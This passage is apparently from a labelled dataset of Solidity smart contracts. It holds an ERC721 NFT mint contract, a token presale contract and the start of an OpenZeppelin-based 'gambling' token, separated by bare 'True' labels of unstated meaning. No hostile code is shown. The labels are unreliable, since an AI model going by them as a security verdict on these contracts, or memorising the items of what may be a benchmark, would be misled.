(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
_registerInterface(type(IERC165).interfaceId);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity ^0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_registerInterface(type(IERC721).interfaceId);
_registerInterface(type(IERC721Metadata).interfaceId);
_registerInterface(type(IERC721Enumerable).interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
contract ONCHAINGANG is ERC721, Ownable {
using SafeMath for uint256;
uint public constant MAX_INMATES = 10000;
bool public hasSaleStarted = false;
// THE IPFS HASH OF ALL TOKEN DATAS WILL BE ADDED HERE WHEN ALL INMATES ARE FINALIZED.
string public METADATA_PROVENANCE_HASH = "";
constructor() ERC721("ONCHAINGANG","GANG") {
setBaseURI("COMINGSOON");
// BURN 0 TOKEN
_safeMint(address(0x000000000000000000000000000000000000dEaD), 0);
}
function calculatePrice() public view returns (uint256) {
require(hasSaleStarted == true, "Inmate's cells are still locked, try again later!");
require(totalSupply() < MAX_INMATES, "All inmates have already been freed!");
uint currentSupply = totalSupply();
if (currentSupply >= 9000) {
return 100000000000000000;
} else if (currentSupply >= 8000) {
return 90000000000000000;
} else if (currentSupply >= 7000) {
return 80000000000000000;
} else if (currentSupply >= 6000) {
return 70000000000000000;
} else if (currentSupply >= 5000) {
return 60000000000000000;
} else if (currentSupply >= 4000) {
return 50000000000000000;
} else if (currentSupply >= 3000) {
return 40000000000000000;
} else if (currentSupply >= 2000) {
return 30000000000000000;
} else if (currentSupply >= 1000) {
return 20000000000000000;
} else if (currentSupply >= 0) {
return 10000000000000000;
}
}
function calculatePriceTest(uint _id) public view returns (uint256) {
require(_id < MAX_INMATES, "All inmates have already been freed!");
if (_id >= 9000) {
return 100000000000000000;
} else if (_id >= 8000) {
return 90000000000000000;
} else if (_id >= 7000) {
return 80000000000000000;
} else if (_id >= 6000) {
return 70000000000000000;
} else if (_id >= 5000) {
return 60000000000000000;
} else if (_id >= 4000) {
return 50000000000000000;
} else if (_id >= 3000) {
return 40000000000000000;
} else if (_id >= 2000) {
return 30000000000000000;
} else if (_id >= 1000) {
return 20000000000000000;
} else if (_id >= 0) {
return 10000000000000000;
}
}
function freeINMATE(uint256 numInmates) public payable {
require(totalSupply() < MAX_INMATES, "All inmates have already been freed!");
require(numInmates > 0 && numInmates <= 100, "You can only free 1-100 inmates");
require(totalSupply().add(numInmates) <= MAX_INMATES, "Exceeds MAX_INMATES");
require(msg.value >= calculatePrice().mul(numInmates), "Please check the price and try again");
for (uint i = 0; i < numInmates; i++) {
uint mintIndex = totalSupply();
_safeMint(msg.sender, mintIndex);
}
}
// OWNER FUNCTIONS
function setProvenanceHash(string memory _hash) public onlyOwner {
METADATA_PROVENANCE_HASH = _hash;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function startDrop() public onlyOwner {
hasSaleStarted = true;
}
function pauseDrop() public onlyOwner {
hasSaleStarted = false;
}
function withdrawAll() public payable onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2020-12-12
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint a, uint m) internal pure returns (uint r) {
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
interface IToken {
function transfer(address to, uint256 tokens) external returns (bool success);
function burnTokens(uint256 _amount) external;
function balanceOf(address tokenOwner) external view returns (uint256 balance);
}
contract PreSale is Owned {
using SafeMath for uint256;
address public tokenAddress;
bool public saleOpen;
uint256 tokenRatePerEth = 7246;
mapping(address => uint256) public usersInvestments;
constructor() public {
owner = msg.sender;
}
function startSale() external onlyOwner{
require(!saleOpen, "Sale is open");
saleOpen = true;
}
function setTokenAddress(address tokenContract) external onlyOwner{
require(tokenAddress == address(0), "token address already set");
tokenAddress = tokenContract;
}
function closeSale() external onlyOwner{
require(saleOpen, "Sale is not open");
saleOpen = false;
}
receive() external payable{
require(saleOpen, "Sale is not open");
require(usersInvestments[msg.sender].add(msg.value) <= 1 ether
&& usersInvestments[msg.sender].add(msg.value) >= 500 finney,
"Installment must be in range of 1 to 0.5 ether");
uint256 tokens = getTokenAmount(msg.value);
require(IToken(tokenAddress).transfer(msg.sender, tokens), "Insufficient balance of sale contract!");
usersInvestments[msg.sender] = usersInvestments[msg.sender].add(msg.value);
// send received funds to the owner
owner.transfer(msg.value);
}
function getTokenAmount(uint256 amount) internal view returns(uint256){
return amount.mul(tokenRatePerEth).div(100);
}
function burnUnSoldTokens() external onlyOwner{
require(!saleOpen, "Please close the sale first");
IToken(tokenAddress).burnTokens(IToken(tokenAddress).balanceOf(address(this)));
}
}
|
True
|
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// x20.finance
// X20 (x20.finance) is a deflationary and gambling token
// See https://github.com/IshikawaTravis/X10 for more info
//
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
